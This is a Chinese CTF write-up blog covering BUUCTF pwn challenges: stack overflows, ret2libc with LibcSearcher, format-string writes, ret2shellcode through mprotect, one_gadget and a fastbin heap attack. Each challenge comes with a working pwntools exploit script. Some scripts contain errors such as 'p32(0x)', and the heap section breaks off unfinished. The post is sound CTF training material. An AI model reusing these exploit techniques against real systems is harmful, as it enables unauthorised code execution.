【CTF题解NO.00004】BUUCTF/BUUOJ - Pwn write up by arttnb3

本文记录了作者在BUUCTF上挑战的Pwn类题目,详细解析了每道题目的解决方案,涉及ret2text、ret2libc、栈溢出、格式化字符串漏洞、堆溢出等技术,包括利用ida分析、ROP链构造、libc基址泄露等方法。每个题目都提供了exp(exploit)代码,并分享了解题过程中遇到的问题和解决办法。
摘要由CSDN通过智能技术生成

GITHUB BLOG LINK THERE

文章目录

0x000.绪论

BUUCTF是一个巨型CTF题库,大致可以类比OIer们的洛谷一样的地方,在BUUCTF上有着分类齐全数量庞大的各方向题目,包括各大CTF的原题

正所谓”不刷BUU非CTFer“(哪里有过这种奇怪的话啦),作为一名新晋的蒟蒻CTFer&网安专业选手,咱也来做一做BUUCTF上的题,并把题解在博客上存档一份方便后来者学习(快醒醒,哪里会有人看你的博客啦XD

Baby Pwner做的都是pwn题,点开即可查看题解👇

注:我会在题目的旁边写上考点
注2:老生常谈,CSDN阅读体验稀烂,建议来这里

0x001.test your nc - nc

拖入IDA分析,发现一运行就能直接getshell

image.png

nc,成功getshell,得flag

image.png

0x002.rip - ret2text

惯例的checksec,保护全关

image.png

主函数使用了gets函数,存在栈溢出,偏移量为0xf+8个字节

image.png

可以发现直接存在一个system("/bin/sh"),返回到这里即可getshell

image.png

构造payload如下:

from pwn import *
payload = b'A' * (0xf + 8) + p64(0x40118a)

p = process('./rip')#p = remote('node3.buuoj.cn',26914)
p.sendline(payload)
p.interactive()

输入我们的payload,直接getshell,得到flag

image.png

0x003.warmup_csaw_2016 - ret2text

惯例checksec,保护全关,可以为所欲为

image.png

拖入IDA,发现可以溢出的gets函数,偏移量是0x40+8个字节

image.png

又发现一个可以获得flag的gadgetsystem("cat flag.txt"),控制程序返回到这里即可获得flag

image.png

故构造payload如下:

from pwn import *
payload = b'A'* (0x40 + 8) + p64(0x400611)

p = process('./warm_up_2016')# p = remote('node3.buuoj.cn',28660)
p.sendline(payload)
p.interactive()

输入我们的payload,得到flag

image.png

0x004.pwn1_sctf_2016 - ret2text

惯例的checksec,发现只开了NX保护

image.png

拖入IDA看一下,然后你就会发现C++逆向出来的东西比**还**

image.png

我们不难看出replace函数是在该程序中的一个比较关键的函数,我们先进去简单看看:

image.png

简单通读一下我们大概知道这段代码的运行过程如下:(不就是**🐎有什么读不懂的,干他就完事了

image.png

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3, std::string *a4)
{
  int v4; // ST04_4
  int v5; // ST04_4
  int v6; // ST10_4
  char v8; // [esp+10h] [ebp-48h]
  char v9; // [esp+14h] [ebp-44h]
  char v10; // [esp+1Bh] [ebp-3Dh]
  int v11; // [esp+1Ch] [ebp-3Ch]
  char v12; // [esp+20h] [ebp-38h]
  int v13; // [esp+24h] [ebp-34h]
  int v14; // [esp+28h] [ebp-30h]
  char v15; // [esp+2Fh] [ebp-29h]
  int v16; // [esp+30h] [ebp-28h]
  int v17; // [esp+34h] [ebp-24h]
  char v18; // [esp+38h] [ebp-20h]
  int v19; // [esp+3Ch] [ebp-1Ch]
  char v20; // [esp+40h] [ebp-18h]
  int v21; // [esp+44h] [ebp-14h]
  char v22; // [esp+48h] [ebp-10h]
  char v23; // [esp+4Ch] [ebp-Ch]
                                                // 接收参数为:v6,input,v9,v7
                                                // 其中input为我们的输入,v9为字符串"I",v7为字符串"you"
                                                // 查汇编源码可知下面的string基本都是a2,也就是input
  while ( std::string::find(a2, a3, 0) != -1 )  // 在input中寻找字符串v9("I"),如果找不到则find方法会返回-1,跳出循环
  {
    std::allocator<char>::allocator(&v10);      // 新构造了一个allocator<char>类的实例并将地址给到v10
    v11 = std::string::find(a2, a3, 0);         // 获得"I"字符串在input中第一次出现的下标
    std::string::begin(&v12);                   // input.begin()新构造一个迭代器对象并将地址给到v12
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v13);// 构建operator+的迭代器对象实例给到v13
    std::string::begin(&v14);                   // input.begin()新构造一个迭代器对象并将地址给到v14
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v9, v14, v13, &v10);// v14迭代生成的字符使用allocator(v10)分配内存、使用operator+(v13)接成新字符串给到v8
                                                // 查看汇编可知生成的字符串长度为v11(即生成的字符串为input中第一个"I"的前面所有字符构成的字符串
    std::allocator<char>::~allocator(&v10, v4); // 析构v10
    std::allocator<char>::allocator(&v15);      // 新构造了一个allocator<char>类的实例并将地址给到v15
    std::string::end(&v16);                     // input.end()新构造一个迭代器对象并将地址给到v16
    v17 = std::string::length(a3);              // 获得"I"的长度给到v17
    v19 = std::string::find(a2, a3, 0);         // 获得"I"字符串在input中第一次出现的下标给到v19
    std::string::begin(&v20);                   // begin()新构造一个迭代器对象并将地址给到v20
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);// 构建operator+的迭代器对象实例给到v18
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v21);// 构建operator+的迭代器对象实例给到v21
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v8, v21, v16, &v15);// v16迭代生成的字符使用allocator(v15)分配内存、使用operator+(v21)接成新字符串给到v8
                                                // 注意在这里和前面的相似语句中字符串迭代器与operator所传入的位置是相反的
                                                // 可能是因为迭代器从后往前生成字符串?
    std::allocator<char>::~allocator(&v15, v5); // 析构v15
    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v23, &v9, a4);// v9+a4生成的字符串给到v23
                                                // 即input中第一个"I"之前的所有字符构成的字符串再加上"you"生成新字符串v23
    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v22, &v23, &v8);// v23+v8生成的字符串给到v22
                                                // 即v23再加上原input中第一个"I"之后的所有字符构成的字符串生成新字符串v22
    std::string::operator=(a2, &v22, v6);       // v22给回到a2(也就是input
    std::string::~string(&v22);                 // 析构v20
    std::string::~string(&v23);                 // 析构v21
    std::string::~string(&v8);                  // 析构v8
    std::string::~string(&v9);                  // 析构v9
  }
  std::string::string(a1, a2);                  // 拷贝input到a1(vuln中v6)
  return a1;
}

我们可以大概知道replace函数的作用其实是把输入的字符串中的所有字串A替换成字符串B再重新生成新的字符串,而在vuln函数中A即为"I",B即为"you"

重新回到vuln函数,我们发现依然看不懂这段代码到底干了啥

这个时候其实我们可以选择看汇编代码进行辅助阅读(C++逆向出来的东西真的太**了

简单结合一下汇编代码与逆向出来的C++代码,我们容易知道该段代码的作用,如下图注释所示:

image.png

  fgets(&s, 32, edata);                         // 从标准输入流中读入最大32个字符到s
  std::string::operator=(&input, &s);           // 将字符串s的值拷贝到string类input中
  std::allocator<char>::allocator((int)&v8);    // 新构造了一个allocator<char>类的实例并将地址给到v8
  std::string::string((int)&v7, (int)"you", (int)&v8);// string类使用allocrator分配内存复制字符串"you"并拷贝到v7上
  std::allocator<char>::allocator((int)&v10);   // 新构造了一个allocator<char>类的实例并将地址给到v10
  std::string::string((int)&v9, (int)"I", (int)&v10);// string类使用allocrator分配内存复制字符串"I"并拷贝到v6上
  replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);// 遍历input,生成新string把原input中的'I'替换为'you',并将重新生成后的字符串地址给到v6
  std::string::operator=(&input, &v6, v0);      // 拷贝v6回到input中,完成替换
  std::string::~string((std::string *)&v6);     // 析构v6
  std::string::~string((std::string *)&v9);     // 析构v9
  std::allocator<char>::~allocator(&v10, v1);   // 析构v10
  std::string::~string((std::string *)&v7);     // 析构v7
  std::allocator<char>::~allocator(&v8, v2);    // 析构v8
  v3 = (const char *)std::string::c_str((std::string *)&input);// 将input使用string类的c_str函数变成字符串存放在char数组中并将字符串指针赋给v3
  strcpy(&s, v3);                               // 将v3拷贝到s上

简单运行一下,我们可以发现程序的确会把输入中的I全部替换成you

image.png

同时我们可以看到,溢出大概需要0x3c个字节,也就是60个字节

我们可以选择使用20个I作为padding,然后这段padding会被替换成30个you,刚好60个字节,在后面再覆盖掉ebp与返回地址控制程序返回到get_flag函数即可得到flag

故构造exp如下:

from pwn import *
get_flag_addr = 0x8048fd
p = process('./pwn1_sctf_2016')#p = remote('node3.buuoj.cn',27140)
payload = b'I'*20 + p32(0xdeadbeef) + p32(get_flag_addr)
p.sendline(payload)
p.recv()

发送payload,得到flag

C++逆向是真的kskjklasjdkajskdhasjdgsgdhsgdsajkqpiwourevz

0x005.ciscn_2019_n_1 - overwrite

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析,main中调用了func函数,直接进去看

image.png

当v2为11.28125时我们可以获取flag,而gets函数读入到v1存在溢出点可以覆写掉v2

那么问题来了,浮点数11.28125在内存中是如何表示的呢

我们可以直接跳转到这个数据所储存的地方,发现是0x41348000

故构造exp如下:

from pwn import *
p = process('ciscn_2019_n_1')#p = remote('node3.buuoj.cn',27338)
payload = b'A'*(0x30-0xc) + p64(0x401348000)
p.sendline(payload)
p.recv()

发送payload,得到flag

0x006.ciscn_2019_c_1 - ret2csu + ret2libc

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据image.png

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

故构造exp如下:

from pwn import *
from LibcSearcher import *

e = ELF('./ciscn_2019_c_1')
offset = 0x50
enc_addr = 0x4009a0
pop_rdi = 0x400c83
retn = 0x400c84

payload1 = '\x00' + b'A'*(offset-1) + p64(0xdeafbeef) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(enc_addr)
#p = process("./ciscn_2019_c_1")
p = remote('node3.buuoj.cn',27832)
p.sendline(b'1')
p.recv()
p.sendline(payload1)
p.recvuntil('Ciphertext\n\n')
s = p.recv(6)
puts_addr = u64(s.ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = '\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行我们的exp,成功getshell

发生了很多很玄学的问题(👈其实就是李粗心大意罢le),导致这道题虽然早就有了思路,但是用的时间比预期要长的多

以及LibcSearcher在本地无法getshell,换成本地的libc就好了(玄学问题变多了(其实只是LibcSearcher库不全⑧))

以及Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了(确信)

0x007.[OGeek2019]babyrop - ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析:

image.png

main函数首先会获取一个随机数,传入sub_804871F()

image.png

该函数会将随机数作为字符串输出到s,之后读取最大0x20个字节的输入到v6,用strlen()计算v6长度存到v1并与s比对v1个字节,若不相同则直接退出程序

考虑到strlen()函数以'\x00'字符作为结束标识符,故我们只需要在输入前放上一个'\x00'即可避开这个检测

之后会将v5的数值返回到主函数并作为参数又给到sub_80487D0()函数,简单看一下我们便可以发现该函数读取最大v5个字节的输入到buf中,而buf距离ebp只有0xe7个字节

image.png

由于没有可以直接getshell的函数,故考虑在第一次输入时将v5覆写为0xff以保证能够读取的输入长度最大,在第二次输入时构造rop链使用write函数泄露write的地址,再使用libcsearcher得到libc基址与system()"/bin/sh"字符串的地址,最后构造rop链调用system("/bin/sh")即可getshell

构造exp如下:

from pwn import *
from LibcSearcher import *
e = ELF('./pwn')
write_plt = e.plt['write']
write_got = e.got['write']
payload1 = b'\x00' + 7* b'\xff'
payload2 = b'A' * 0xe7 + p32(0xdeadbeef) + p32(write_plt) + p32(0x80487d0) + p32(0x1) + p32(write_got) + p32(0x8)

p = process('./pwn')#p = remote('node3.buuoj.cn',25330)
p.sendline(payload1)
p.recvuntil(b'Correct\n')
p.sendline(payload2)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = b'A'*0xe7 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload3)
p.interactive()

运行脚本即可getshell

image.png

0x008.jarvisoj_level0 - ret2text

好多重复考点的简单题啊…

惯例的checksec,发现只开了栈不可执行保护

拖入IDA进行分析,可以发现存在一个可以溢出的函数vulnerable_function(),只需要0x80个字节即可溢出

同时存在一个可以直接getshell的函数callsystem()

直接构造payload覆写返回地址到callsystem()函数即可getshell

exp如下:

from pwn import *

payload = b'A'*0x80 + p64(0xdeadbeef) + p64(0x400596)

p = process('level0')#p = remote('node3.buuoj.cn',29367)
p.recv()
p.sendline(payload)
p.interactive()

image.png

0x009.ciscn_2019_en_2 - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析感觉这题好像在哪个地方做过的样子ciscn_2019_c_1

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

构造exp如下:

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',25348)#process('./ciscn_2019_en_2')
e = ELF('./ciscn_2019_en_2')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x400b28
pop_rdi_ret = 0x400c83
retn = 0x400c84
offset = 0x50

payload1 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recv()
p.sendline('1')
p.recv()
p.sendline(payload1)
p.recvuntil('text\n\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) +p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.sendline('1')
p.sendline(payload2)
p.interactive()

需要注意的是Ubuntu 18有的时候会存在栈无法对齐的情况,可以多使用几次retn的gadget来对其栈

0x00A.[第五空间2019 决赛]PWN5 - fmtstr

惯例的checksec,发现开了NX保护和canary

image.png

拖入IDA进行分析:

image.png

该程序获取一个随机数,读入到0x804c044上,随后两次读入用户输入并判断第二次输入与随机数是否相同,相同则可以获得shell

我们可以发现存在格式化字符串漏洞,可以进行任意地址读与任意地址写,故考虑将0x804c044地址上的随机数覆写为我们想要的值,随后直接输入我们覆写的值即可getshell

同时我们简单的跑一下这个程序就可以知道格式字符串是位于栈上的第10个参数(“aaaa” == 0x61616161)

image.png

我们可以使用pwntools中的fmtstr_payload()来比较方便地构造能够进行任意地址写的payload

具体用法可以百度,这里就不再摘抄一遍了

故构造exp如下:

from pwn import *

payload = fmtstr_payload(10,{
   0x804c044:0x1})

p = process('./pwn')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.sendline(str(0x1))
p.interactive()

image.png

0x00B.[BJDCTF 2nd]r2t3 - integer overflow + ret2text

惯例的checksec,发现只开了栈不可执行保护

拖入IDA进行分析

主函数中读入最大0x400个字节,但是开辟了0x408字节的空间,无法溢出

同时主函数会将输入传入name_check()函数中,若通过strlen()计算出来的长度在4~8个字节之间则会将我们的输入通过strcpy()拷贝至dest上,而这里到ebp之间只有0x11个字节的空间,我们完全可以通过这段代码覆盖掉该函数的返回地址

同时我们可以观察到存在可以直接getshell的后门函数

image.png

考虑到在name_check()函数中用来存放输入长度的变量为8位无符号整型,范围为0~255,故我们只需要输入260个字节便可以发生上溢降使该变量的值上溢为4,绕过判定

故构造exp如下:

from pwn import *

payload = b'A'*0x11 + p32(0xdeadbeef) + p32(0x)

p = process('./r2t3')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.interactive()

发送payload即可getshell

0x00C.get_started_3dsctf_2016 - ret2text || ret2shellcode

注:这是一道屑题

惯例的checksec,发现只开了栈不可执行保护

拖入IDA进行分析,可以发现存在一个赤裸裸的gets()溢出

image.png

同时存在一个get_flag()函数可以获取flag,不过要求参数1为0x308cd64f,参数2为0x195719d1

解法1:ret2text

32位程序通过栈传参,故构造exp如下:

from pwn import *

payload = b'A'*0x38 + p32(0x80489A0) + p32(0xdeadbeef) + p32(0x308CD64F) + p32(0x195719D1)

p = process('./get_started_3dsctf_2016')
p.sendline(payload)
p.interactive()

不过很明显,出题人的环境很明显有丶小问题🔨🔨🔨,远程跑不通这个payload

问题出在哪呢?该程序尝试打开的是flag.txt文件,但是平台所自动生成的是flag文件,故此种方法无法获得flag

我们尝试寻找第二种解法

解法2:ret2shellcode

首先我们发现在程序中编入了大量的函数,其中就包括mprotect(),可以修改指定内存地址的权限

故考虑使用mprotect()修改内存段权限为可读可写可运行后在上面写入shellcode并跳转至内存段执行shellcode以getshell

pwndbg中使用vmmap查看可以用的内存段,前面三个段随便选一个就行

image.png

需要注意的是我们需要手动将mprotect()的参数弹出(日常踩坑)

from pwn import *

p = process('./get_started_3dsctf_2016')#p = remote('node3.buuoj.cn',29719)#
e = ELF('./get_started_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x804951c
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ec000
offset = 0x38

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef)  + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即可getshell

image.png

0x00D.ciscn_2019_n_8 - overwrite

惯例的checksec,发现开了栈不可执行、地址随机化、Canary三大保护(噔 噔 咚

image.png

拖入IDA进行分析

image.png

使用scanf读入字符串到变量var,存在漏洞,同时程序会将var的地址转换为一个(_QWORD)类型指针(长度为四字节),并判断var[13]是否为0x11,若是则返回一个shell

故考虑直接输入将var[13]覆写为0x11即可getshell

构造exp如下:

from pwn import *

payload = b'A'*13*4 + p32(0x11)

p = process('./ciscn_2019_n_8') # p = remote('node3.buuoj.cn',29901)
p.recv()
p.sendline(payload)
p.interactive()

0x00E.not_the_same_3dsctf_2016 - ret2shellcode

not the same(指 same(

惯例的checksec,发现只开了栈不可执行保护

拖进IDA里康康

image.png

主函数中直接存在可以被利用的gets()函数,同时还给了我们一个提示信息——bora ver se tu ah o bichao memo,大致可以翻译为:Did you see the wrong note?看起来似乎没什么用的样子

尝试先使用与前一题相同的思路来解

首先用pwndbgvmmap查看可以用的内存

image.png

同时IDA中我们发现程序中依然存在mprotect()函数可以改写权限

image.png

和前一题所不同的是gadget的位置有丶小变化(原来只有这个不同🐎

image.png

故我们可以使用与前一题几乎完全相同的exp来getshell,只需要把csu里的gadget的地址稍微修改一下即可

构造exp如下:

from pwn import *

p = process('./not_the_same_3dsctf_2016')#p = remote('node3.buuoj.cn',28147)#
e = ELF('./not_the_same_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x80494dc
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ea000
offset = 0x2d

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef)  + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即得shell

image.png

0x00F.one_gadget - one_gadget

首先从题目名字我们就可以看出这道题应该需要我们用到一个工具——one_gadget

什么是one_gadget?即在libc中存在着的可以直接getshell的gadget

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖进IDA里分析

主函数会读入一个整数到函数指针v4中,并尝试执行v4(),故我们只需要输入one_gadget的地址即可getshell

使用one_gadget工具可以找出libc中的getshell gadget

不明原因在arch上一直没法运行,只好切到Ubuntu

但是我们还需要知道libc的基址

我们可以发现在init()函数中会输出printf()函数的地址,有了这个我们便可以计算出libc的基址,也就有了one_gadget的真实地址

而题目也给了我们libc,故构造exp如下:

from pwn import *

one_gadget = 0xe237f

p = process('./one_gadget')#p = remote('node3.buuoj.cn',27792)#
e = ELF('./one_gadget')
libc = ELF('./libc-2.29.so')

p.recvuntil('here is the gift for u:')
printf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = printf_addr - libc.sym['printf']
getshell = libc_base + one_gadget
p.sendline(str(getshell))
p.interactive()

0x010.jarvisoj_level2 - ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

读入最大0x100字节,但是buf到ebp之间只有0x88字节的空间,存在溢出

同时我们也可以知道该程序中有system()函数可以利用

同时程序中还存在"/bin/sh"字符串

image.png

故只需要构造rop链执行system("/bin/sh")即可getshell

构造exp如下:

from pwn import *

p = process('./level2')#p = remote('node3.buuoj.cn',26276)#
e = ELF('./level2')
sh_addr = 0x804A024

payload = b'A'*0x88 + p32(0xdeadbeef) + p32(e.plt['system']) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x011.[HarekazeCTF2019]baby_rop - ret2text + ret2csu

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

使用scanf("%s")读入字符串,存在溢出漏洞

image.png

存在system()函数

image.png

存在/bin/sh字符串

故考虑使用csu中gadget构造rop链执行system("/bin/sh")函数以getshell

image.png

构造exp如下:

from pwn import *

sh_addr = 0x601048
pop_rdi_ret = 0x400683

p = remote('node3.buuoj.cn',27558)
e = ELF('./babyrop')

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(pop_rdi_ret) +  p64(sh_addr) + p64(e.sym['system'])
p.sendline(payload)
p.interactive()

运行即得flag

好多一样的题啊Or2

0x012.bjdctf_2020_babystack - ret2text

又是一模一样的题。。。

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

主函数中用户可以控制读入的字符数量,存在溢出

同时存在可以getshell的backdoor()函数

image.png

故考虑构造rop链执行backdoor()函数即可

构造exp如下

from pwn import *

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(0x4006e6)

p = remote('node3.buuoj.cn',25806)#p = process('./bjdctf_2020_babystack')
p.sendline(b'100')
p.sendline(payload)
p.interactive()

运行即可getshell

0x013.babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget

来到BUU后做的第一道堆题

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖入IDA里进行分析(以下部分函数、变量名经过重命名)

常见的堆题基本上都是菜单题,本题也不例外image.png

我们可以发现在writeHeap()函数中并没有对我们输入的长度进行检查,存在堆溢出

image.png

故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块

利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值